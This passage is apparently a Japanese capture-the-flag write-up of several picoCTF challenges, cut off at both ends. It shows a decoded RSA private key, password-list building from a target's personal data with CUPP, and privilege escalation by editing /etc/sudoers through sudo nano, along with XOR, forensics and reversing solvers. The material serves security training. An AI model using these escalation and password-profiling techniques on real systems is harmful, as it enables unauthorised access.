93369706c455379324e737830516e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a | xxd -r -p
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCtVf6CDwFYrEnH
k4R/8NMG0Sb8m6mVUy4y1LAX8nbYlJI6llRp0gvi1wRbsoDdmZ48oCFBd26rlc01
EXA3xrN/Fw4gcITyxtqNsgq2r2x2dAOuZW6MxI1948iLDE4VAR+H2U8iJiQq5z3Y
51tjaS+JlW/rvu/W3rdDbrkSXgju/wmmMNmIR6z7kzn5l/twq3mXJxkOZZLzs7Bt
hzrDlH/JgUhWr0gxfR2wdvwQft6QJ82iXadqzH4C5ZEVVO350aJUta7QPao4R+11
ZWjtln5mssQUEAaM6DjYbEM66Uy3iplESy2Nsx0Qnk+LmogEQcRhXSq00HgOeBMO
Z0VHZPLHAgMBAAECggEACG3dIY//PcOrFtR6pgodCQDUx4X+Wi+gWIJ1ScTVuLSI
4+Z5lmfLgi14ncjxcVVOF56l31wiep+fSgxeC6hTBEQnwLYYEQJQkIFu+fFP8fa0
Ux/Fn3zTcKLKFtDzXxwd32pW6c83BQsXu9uMWyo7UJJ+zdUMLsPH37SbtWPzRUP3
CBhTRrE7fpeKuCptCVUiq61lXfmNX4kBwYcAyC4wsA27kWlntzdLEnpxnVaAfOt1
jv/xxcf2x9Ua0y034/WiLJ09JViQDmm6yDBsJggOlKKV/D0aLelvOpHMtk1xXO3f
rLWJi54WrRBJJMBk0R3XIEWSaGScxQVPDvEPeHN6QQKBgQC1ETs0f4jxPXDMr9pg
iNs8qk7UqMxKECUKmZ5os3ne4EU06Mif+lNRNNZmNxOnFTKF860ByLVP0PQVZ7Xf
I7q/orc2OlFQS0P972j0WJRzG2PCSU+dKHwwhgKlZ8k1hA8VOI4WW6dbo4iZehJp
U3Zqt0gOvf39R875GcrvcNuN5wKBgQD1Ea17V+fs/zIlVtJ5RKgnp1tvvkkXUg5D
TgZbFbqmMWoNjcrvLI86Tq700ALjBgHaUkY7n9zRg84WNBWIrVJlhufrKhGCkqpb
KsyiVOQdEi7oLpcXIxFAoV79pVOv3x7ubnFSi1Ff+mHDeuBu5UZkBHlNSY6CrW6J
gjdpjqYYIQKBgFhMxuqbJ1U9+TxYpc5d70xuYXMjvjyAExBQSggVPmGKTTW4L96U
XP1FHylJwrPAipr4cm5kSsdZxy6JHRBshC3gVCiF2BGoIsg7cJt4dyyLNuMQjVq+
25FuSOwQ6PbIJ/LZWbFdkQgHgB4YgdILebwhFWrbDHnwAudHxMdv6iIRAoGALckD
tEuUFP8Ii1lRMT7We7IUryfJ2AWIjKKDJXlFyc7plWasR0r351jT7wD9yRRSPEuq
u3D+fFY3poZMj6ByCG3P3muZod9s3GN+n8VkaNoA0XgC2lu+2WhMqu68V9tDmCAi
I93LcjcBFNhcHdvP7te3Ie1gJqHoSOB/IcV42oECgYEAj7DgOtLsNeDJOZhVwG0H
gzPgcC2eY2Q5ugW5vObtrEXJrEyo188E1tEuDeLnOJZUbsDKdGcRTRjEAazfChfE
XG0xDG9TSv9sq3hz9IvESH4Tp8ccfoK8+ulqTCCvz5g6l90B2qOpF7/6J8DuMNxn
N/OwBNoNPzMla2CJmbCsbGc=
-----END PRIVATE KEY-----
取得した秘密鍵でflag.encを復号し、フラグを入手できた。(RSA復号にはCyberchefを使用)

Password Profiler
パスワードをクラックしてフラグを取得する問題。
以下の3つのファイルを渡された。
userinfo.txt: 標的ユーザーの個人情報が載っているhash.txt: 標的ユーザーのパスワードのSHA1ハッシュ値が記載されているcheck_password.py: パスワードをチェックするスクリプト。ハッシュ値とパスワードを比較して一致した場合はフラグを表示する
└─$ cat userinfo.txt
First Name: Alice
Surname: Johnson
Nickname: AJ
Birthdate: 15-07-1990
Partner's Name: Bob
Child's Name: Charlie
└─$ cat hash.txt
968c2349040273dd57dc4be7e238c5ac200ceac5
└─$ cat check_password.py
#!/usr/bin/env python3
import hashlib
HASH_FILE = "hash.txt"
WORDLIST_FILE = "passwords.txt" # wordlist that was generated using CUPP
def load_hash():
with open(HASH_FILE, "r") as f:
return f.read().strip()
def crack_password(target_hash):
with open(WORDLIST_FILE, "r", encoding="utf-8", errors="ignore") as f:
for password in f:
password = password.strip()
if hashlib.sha1(password.encode()).hexdigest() == target_hash:
return password
return None
if __name__ == "__main__":
target_hash = load_hash()
result = crack_password(target_hash)
if result:
print(f"Password found: picoCTF{{{result}}}")
else:
print("No match found.")
check_password.pyはCUPPによって生成されたパスワードリストを元にパスワードの確認を行う。
CUPPをgitからインストール。
git clone https://github.com/mebus/cupp.git
cupp.pyを-iオプション付きで実行すると対話モードで起動し、標的ユーザーの情報について色々聞かれるので、userinfo.txtの情報を元に答えていく。
└─$ python3 cupp.py -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: Alice
入力が完了するとalice.txtというパスワードリストが作成された。
└─$ head alice.txt
07151990
07151990
071590
071590
0715990
0715990
071990
071990
07199015
07199015
ファイル名をalice.txtからpasswords.txtに変更してcheck_password.pyを実行したところ、フラグを入手できた。
└─$ python3 check_password.py
Password found: picoCTF{Aj_<REDACTED>}
Medium
bytemancy 2
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
import sys
while(True):
try:
print('⊹──────[ BYTEMANCY-2 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
print('==> ', end='', flush=True)
user_input = sys.stdin.buffer.readline().rstrip(b"\n")
if user_input == b"\xff\xff\xff":
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
0xffを3文字分入力するとflag.txtからフラグが読み出される。
└─$ (echo -e '\xff\xff\xff') | nc lonely-island.picoctf.net 61186
⊹──────[ BYTEMANCY-2 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> picoCTF{3ff5_4_d4yz_<REDACTED>}
bytemancy 3
ソースコードを解析してフラグを取得する問題。app.pyとspellbookという2つのファイルを渡された。
以下はapp.pyの内容。
import os
import random
import select
import sys
from typing import Optional
from pwn import ELF, p32
BANNER = "⊹──────[ BYTEMANCY-3 ]──────⊹"
BINARY_PATH = os.path.join(os.path.dirname(__file__), "spellbook")
QUESTION_COUNT = 3
SPELLBOOK_FUNCTIONS = [
"ember_sigil",
"glyph_conflux",
"astral_spark",
"binding_word",
]
def read_exact_bytes(expected_len: int) -> Optional[bytes]:
"""Read a fixed number of bytes from stdin, trimming a trailing newline."""
stdin_buffer = sys.stdin.buffer
buf = stdin_buffer.read(expected_len)
if not buf or len(buf) < expected_len:
return None
# Discard trailing newlines only if more bytes are immediately available
try:
stdin_fileno = sys.stdin.fileno()
except (AttributeError, ValueError, OSError):
stdin_fileno = None
if stdin_fileno is not None:
while True:
readable, _, _ = select.select([stdin_fileno], [], [], 0)
if not readable:
break
peek = stdin_buffer.peek(1)[:1]
if peek in (b"\n", b"\r"):
stdin_buffer.read(1)
continue
break
return buf
def main():
try:
elf = ELF(BINARY_PATH, checksec=False)
except FileNotFoundError:
print("The spellbook is missing!")
return
flag = open("./flag.txt", "r").read().strip()
while True:
try:
print(BANNER)
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print("I will name four procedures hidden inside spellbook.")
print(
f"Each round, send me their *raw* 4-byte addresses "
f"in little-endian form. {QUESTION_COUNT} correct answers unlock the flag."
)
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
selections = random.sample(SPELLBOOK_FUNCTIONS, QUESTION_COUNT)
success = True
for idx, symbol in enumerate(selections, 1):
target_addr = elf.symbols[symbol]
expected_bytes = p32(target_addr)
print(
f"[{idx}/{QUESTION_COUNT}] Send the 4-byte little-endian "
f"address for procedure '{symbol}'."
)
print("==> ", end='', flush=True)
user_bytes = read_exact_bytes(len(expected_bytes))
if user_bytes is None:
print("\nI needed four bytes, traveler.")
success = False
break
if user_bytes != expected_bytes:
print("\nThose aren't the right runes.")
success = False
break
if success:
print(flag)
break
print()
print("The aether rejects your incantation. Try again.\n")
except EOFError:
break
except Exception as exc:
print(exc)
break
if __name__ == "__main__":
main()
スクリプトの内容は以下の通り。
spellbookに含まれている以下の4つの関数のアドレスをリトルエンディアン形式で入力するようにユーザーに促す- ember_sigil
- glyph_conflux
- astral_spark
- binding_word
- 関数は上記からランダムに選択され、3回 正答すると
flag.txtからフラグが読み出される
spellbookは32ビットのELFファイルである。
└─$ file spellbook
spellbook: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0028c839fc5f43b51c9230d87125c038fdc9c6ce, for GNU/Linux 3.2.0, with debug_info, not stripped
objdumpコマンドを使って、各関数のアドレスの値を確認した。
└─$ objdump -d -M intel spellbook | grep ember_sigil
08049176 <ember_sigil>:
8049233: e8 3e ff ff ff call 8049176 <ember_sigil>
└─$ objdump -d -M intel spellbook | grep glyph_conflux
0804919a <glyph_conflux>:
8049247: e8 4e ff ff ff call 804919a <glyph_conflux>
└─$ objdump -d -M intel spellbook | grep astral_spark
080491c1 <astral_spark>:
804925b: e8 61 ff ff ff call 80491c1 <astral_spark>
└─$ objdump -d -M intel spellbook | grep binding_word
080491e3 <binding_word>:
804926f: e8 6f ff ff ff call 80491e3 <binding_word>
| 関数名 | アドレス (リトルエンディアン) |
| ember_sigil | 0x76910408 |
| glyph_conflux | 0x9a910408 |
| astral_spark | 0xc1910408 |
| binding_word | 0xe3910408 |
各関数のアドレスを確認できたので、あとはサーバーに接続して、正しいアドレスを入力すればフラグを取れる。手動でやるのは大変なので以下のPythonスクリプトを書いた。
import socket
host = "green-hill.picoctf.net"
port = 53644
buffersize = 4096
#create socket and connect to server
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
response = client.recv(buffersize)
print(str(response))
if 'ember_sigil' in str(response):
address = b'\x76\x91\x04\x08'
elif 'glyph_conflux' in str(response):
address = b'\x9a\x91\x04\x08'
elif 'astral_spark' in str(response):
address = b'\xc1\x91\x04\x08'
elif 'binding_word' in str(response):
address = b'\xe3\x91\x04\x08'
elif 'picoCTF' in str(response):
print(str(response))
else:
break
client.send(address)
スクリプトを実行し、フラグを入手。
└─$ python3 solver.py
b"\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ BYTEMANCY-3 ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\nI will name four procedures hidden inside spellbook.\nEach round, send me their *raw* 4-byte addresses in little-endian form. 3 correct answers unlock the flag.\n\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9f\xa1\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n[1/3] Send the 4-byte little-endian address for procedure 'ember_sigil'.\n==> "
b"[2/3] Send the 4-byte little-endian address for procedure 'glyph_conflux'.\n==> "
b"[3/3] Send the 4-byte little-endian address for procedure 'binding_word'.\n==> "
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b''
Rogue Tower
PCAPを解析してフラグを取得する問題。
rogue_tower.pcapをWiresharkで開いて眺めてみたところ、以下の不審なHTTP POSTの通信を発見。
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 9
R1pUXnNjd
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 9
kJFA1BEA2
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 9
hTCltfaEU
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 9
AQANLaFJW
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 9
UwdSVgFTT
POST /upload HTTP/1.1
Host: 198.51.100.8
Content-Type: application/octet-stream
Content-Length: 3
g==
POSTのボディ部分を繋げるとR1pUXnNjdkJFA1BEA2hTCltfaEUAQANLaFJWUwdSVgFTTg==というBase64文字列となる。
ただし、そのままBase64デコードしても意味のある文字列にならなかった。
└─$ echo -n R1pUXnNjdkJFA1BEA2hTCltfaEUAQANLaFJWUwdSVgFTTg== | base64 -d
GZT^scvBEPDhS
[_hE@KhRVSRVSN
どうせXOR エンコードされているんでしょ?と当たりをつけて、総当たりしたところ、XOR鍵は0x3733373130373039と判明し、フラグを入手できた。

DISKO 4
ディスクイメージを解析してフラグを取得する問題。
設問によると、フラグは削除されたファイルに記載されているようなので、sleuthkitのflsコマンドの-dオプションを使って削除されたファイルの一覧を確認してみた。
└─$ fls -rd disko-4.dd
r/r * 522629: log/messages
r/r * 532021: log/dont-delete.gz
dont-delete.gzという不審なファイルを発見。同じくsleuthkitのicatコマンドを使ってファイルを抽出。
└─$ icat disko-4.dd 532021 > dont-delete.gz
└─$ file dont-delete.gz
dont-delete.gz: gzip compressed data, was "dont-delete", last modified: Wed Feb 4 21:55:10 2026, from Unix, original size modulo 2^32 55
抽出したgzipファイルを解凍して中身を開いたところ、フラグを入手できた。
└─$ gunzip dont-delete.gz
└─$ file dont-delete
dont-delete: ASCII text
└─$ cat dont-delete
Here is your flag
picoCTF{d3l_d0n7_h1d3_w3ll_<REDACTED>}
ABSOLUTE NANO
sudo権限の不備を突いてフラグを読み取る問題。
設問によると、nanoコマンドを駆使して攻略する模様。
標的サーバーに接続したところ、ホームディレクトリにflag.txtを発見。
ctf-player@challenge:~$ pwd
/home/ctf-player
ctf-player@challenge:~$ ls -lh
total 4.0K
-r--r----- 1 root root 35 Feb 4 22:26 flag.txt
しかし、読み取り権がないためファイルを覗けない。
ctf-player@challenge:~$ cat flag.txt
cat: flag.txt: Permission denied
sudo -lでカレントユーザーがsudo付きで実行できるコマンドを確認したところ、nanoで/etc/sudoersファイルを編集できることが判明。
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/nano /etc/sudoers
ということは、/etc/sudoersをnanoで編集して、flag.txtを読めるようにすればよい。
sudo nano /etc/sudoersで、以下の編集を/etc/sudoersに施した。
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers, /usr/bin/cat /home/ctf-player/flag.txt
これでパスワード無しで、sudo cat /home/ctf-player/flag.txtを実行できるはずである。
sudo -lで変更が反映されたことを確認。
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/nano /etc/sudoers, /usr/bin/cat /home/ctf-player/flag.txt
catコマンドをsudo付きで実行して、flag.txtを読み出せた。
ctf-player@challenge:~$ sudo cat /home/ctf-player/flag.txt
picoCTF{n4n0_411_7h3_w4y_<REDACTED>}
Hidden Cipher 1
ELFファイルを解析してフラグを取得する問題。
hiddencipherという64ビットのELFファイルを渡された。
└─$ file hiddencipher
hiddencipher: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header
stringsを走らせたところ、ファイルはUPXでパックされていることが判明した。
└─$ strings -n 8 hiddencipher
nux-x866
cxa_f m
LIBC_2.34
CDneTableegm
flag.txt
[!] Failed to op
Memory allocatio
{"tOe":w
"deb","os
2.42-0'3.1
r28d64"}g
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $
/proc/self/exe
GCC: (Ubuntu 15.2.0-4u
__abi_tag
m_clones)d
bal tors9ux5
omple)d.0!_fin
`array_e
sdFRAME_END
GLOBAL_OFFSET_TABL
vnad[+aW
h noN.gnu.F
upxコマンドでファイルをアンパック。
└─$ upx -d hiddencipher -o hiddencipher_unpacked
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
24275 <- 7196 29.64% linux/amd64 hiddencipher_unpacked
アンパックしたファイルをIDAで眺めたところ、flag.txtから読み込んだフラグをXORエンコードすることが分かった。XOR鍵はS3Cr3t。
まずflag.txtを読み込む。

get_secret関数でXOR鍵を読み込む。鍵はS3Cr3t。


flag.txtの中身をXORエンコードする。鍵はS3Cr3t。

サーバーに接続してエンコードされたフラグを取得。
└─$ nc candy-mountain.picoctf.net 61614
Here your encrypted flag:
235a201d702015483b1d412b265d3313501f0c072d135f0d2002302d07466656764b06422e
CyberChefでフラグを復号できた。(From Hex + XOR with S3Cr3t)

Hidden Cipher 2
ELFファイルを解析してフラグを取得する問題。
hiddencipher2という64ビットのELFファイルを渡された。
└─$ file hiddencipher2
hiddencipher2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=599eedd164a0821201befcb967a2529efa0cc3ce, for GNU/Linux 3.2.0, not stripped
ファイルをIDAで眺めてみた。
まず目についたのはgenerate_math_question関数である。

この関数はランダムな計算式を生成する。この計算の解となる整数がフラグをエンコードするための鍵となる。
└─$ ./hiddencipher2
What is 7 - 2? 5
Encoded flag values:
560, 525, 495, 555, 335, 420, 350, 615, 510, 485, 535, 505, 475, 510, 540, 485, 515, 625
flag.txtからフラグを読み込んでencode_flag関数でフラグをエンコードする。

encode_flag関数はフラグとgenerate_math_question関数で求めた整数を乗算 (掛け算)することでフラグをエンコードする。

ということは、フラグを復号するにはフラグとgenerate_math_question関数で求めた整数を除算 (割り算) すれば良い。
サーバーに接続してエンコードされたフラグを取得。
└─$ nc crystal-peak.picoctf.net 54683
What is 8 + 4? 12
Encoded flag values:
1344, 1260, 1188, 1332, 804, 1008, 840, 1476, 1308, 624, 1392, 1248, 1140, 1176, 612, 1248, 588, 1320, 1200, 1140, 1188, 588, 1344, 1248, 612, 1368, 1140, 1224, 672, 1188, 1212, 660, 1164, 1200, 648, 1500
鍵は12なので、上記のエンコードされたフラグを12で割ればよい。
以下のPythonスクリプトでフラグを復号できた。
key = 12
enc_flag_list = [1344, 1260, 1188, 1332, 804, 1008, 840, 1476, 1308, 624, 1392, 1248, 1140, 1176, 612, 1248, 588, 1320, 1200, 1140, 1188, 588, 1344, 1248, 612, 1368, 1140, 1224, 672, 1188, 1212, 660, 1164, 1200, 648, 1500]
dec_flag_list = []
flag = ""
for i in enc_flag_list:
dec_flag_list.append(int(i / key))
for j in dec_flag_list:
flag += chr(j)
print(flag)
└─$ python3 solver.py
picoCTF{m4th_b3h1nd_c1ph3r_<REDACTED>}
Autorev 1
特定のデータをサーバーに1秒以内に送り続けることでフラグを入手する問題。
サーバーに接続してみた。
└─$ nc mysterious-sea.picoctf.net 57925
Welcome! I think I'm pretty good at reverse enginnering. There's NO WAY anyone's better than me. Wanna try? I have 20 binaries I'm going to send you and you have 1 second EACH to get the secret in each one. Good luck >:)
4255627848
Here's the next binary in bytes:
7f454c4602010100000000000000000002003e000100000050104000000000004....
-- snipped --
0000000000000000000000
What's the secret?:
どうやら秘密のデータを20回送ればフラグを取れる模様。ただし、データは1秒以内に送信しなければいけない。Here's the next binary in bytes:というメッセージの後に膨大なHexデータが続くが、これはELFファイルをHexエンコードしたものである。以下はデコードされたELFファイルをIDAで開いたもの。

上記より秘密のデータは4255627848と分かるが、この値は固定ではなく、毎回ランダムに生成される。
一瞬、「毎回HexデータをELFファイルに変換して秘密のデータを特定しないといけないのか?」と構えたが、よく見るとサーバーからの応答に秘密のデータが含まれていた。
Welcome! I think I'm pretty good at reverse enginnering. There's NO WAY anyone's better than me. Wanna try? I have 20 binaries I'm going to send you and you have 1 second EACH to get the secret in each one. Good luck >:)
4255627848
なので、サーバーの応答から秘密のデータを抜き出して、サーバーに送信するスクリプトを書けばよい。
以下のPythonスクリプトでフラグを入手できた。 (最初、データを送信する際に改行コードを含んでいなかったため、データをサーバーに送信できていなかった。。。)
import socket
import re
host = "mysterious-sea.picoctf.net"
port = 57925
buffersize = 4096
cnt = 0
#create socket and connect to server
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
response = b''
while (cnt <= 20):
chunk = client.recv(buffersize)
#print(chunk.decode())
response += chunk
if "What's the secret?:" in response.decode():
result = re.search('[0-9]+\n', response.decode())
secret = result.group()
print(response.decode())
print('secret is: ' + str(secret))
client.send(bytes(secret ,'utf-8'))
print('secret sent: ' + str(secret))
response = b''
cnt += 1
elif "picoCTF{" in response.decode():
print(response.decode())
break
#print(response.decode())
client.close()
000000000000000000000000000004000000000000000000000000000000010000000200000000000000000000000000000000000000d83200000000000048030000000000001e00000012000000080000000000000018000000000000000900000003000000000000000000000000000000000000002036000000000000cd01000000000000000000000000000001000000000000000000000000000000110000000300000000000000000000000000000000000000ed370000000000003b01000000000000000000000000000001000000000000000000000000000000
What's the secret?:
secret is: 1209685107
secret sent: 1209685107
Correct!
Woah, how'd you do that??
Here's your flag: picoCTF{4u7o_r3v_g0_brrr_<REDACTED>}
Gatekeeper
ELFファイルを解析してフラグを取得する問題。
gatekeeperという64ビットのELFファイルを渡された。
└─$ file gatekeeper
gatekeeper: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f8be7d9d53fcf8763ed4b76fe8c98b23609085db, for GNU/Linux 3.2.0, not stripped
設問によると、このファイルに特定の数値を入力することでフラグを取れるらしい。まずは試しにファイルを実行。
└─$ ./gatekeeper
Enter a numeric code (must be > 999 ): 1000
Access Denied.
└─$ ./gatekeeper
Enter a numeric code (must be > 999 ): 10000000
Too high.
└─$ ./gatekeeper
Enter a numeric code (must be > 999 ): 2
Too small.
続いてファイルをIDAで眺めてみた。

まず入力された値の長さをstrlenで求める (あとで桁数の確認に使うため)。次に、入力値が10進数もしくは16進数であることを、is_valid_decimal関数およびis_valid_hex関数で確認する。

続いて、入力された値が999より大きく、9999以下の値であるか確認する。また、値が3桁であることを確認する。
上記を満たすと、reveal_flag関数が呼び出され、フラグが読み出される模様。
まとめると、フラグを入手するには以下の条件を満たす数値Nを入力しなければならない。
999 < N <= 9999- ただし、
Nは3桁でなければならない
一見、そんな数字は無いように思えるが、それは10進数に限った話である。先述したように、このプログラムは16進数も受け付けるので、1000という値を16進数に変換してやれば、条件を満たせる。
>>> hex(1000)
'0x3e8'
本番のサーバーにアクセスして、3e8と入力したところ、フラグと思われる文字列が応答された。
└─$ nc green-hill.picoctf.net 58890
Enter a numeric code (must be > 999 ): 3e8
Access granted: }e16ftc_oc_ipfff5ftc_oc_ipe_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip
フラグには難読化が施されていた。反転させて、pi_co_ctfという文字列を削除したところ、フラグを取れた。
└─$ echo '}e16ftc_oc_ipfff5ftc_oc_ipe_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip' | rev | sed 's/pi_co_ctf//g'
picoCTF{3_digit_hex_GT_999_<REDACTED>}
Silent Stream
PCAPの中に含まれている暗号化されたペイロードを復号してフラグを取得する問題。
packets.pcapというPCAPとencrypt.pyというPythonスクリプトを渡された。
設問によると、packets.pcapの中には暗号化されたペイロードが含まれており、暗号化にはencrypt.pyが使われたとのこと。
packets.pcapをWiresharkで開いてみた。

Follow -> TCP StreamでTCPのストリームを確認したところ、確かにランダムなデータが送信されていた。

ひとまず、上記のデータをRAW形式に変更して (Show data as -> Raw) encrypted_file.binとして保存した。
続いてencrypt.pyを開いてみた。
import socket
def encode_byte(b, key):
return (b + key) % 256
def simulate_flag_transfer(filename, key=42):
print(f"[!] flag transfer for '{filename}' using encoding key = {key}")
with open(filename, "rb") as f:
data = f.read()
print(f"[+] Encoding and sending {len(data)} bytes...")
for b in data:
encoded = encode_byte(b, key)
pass
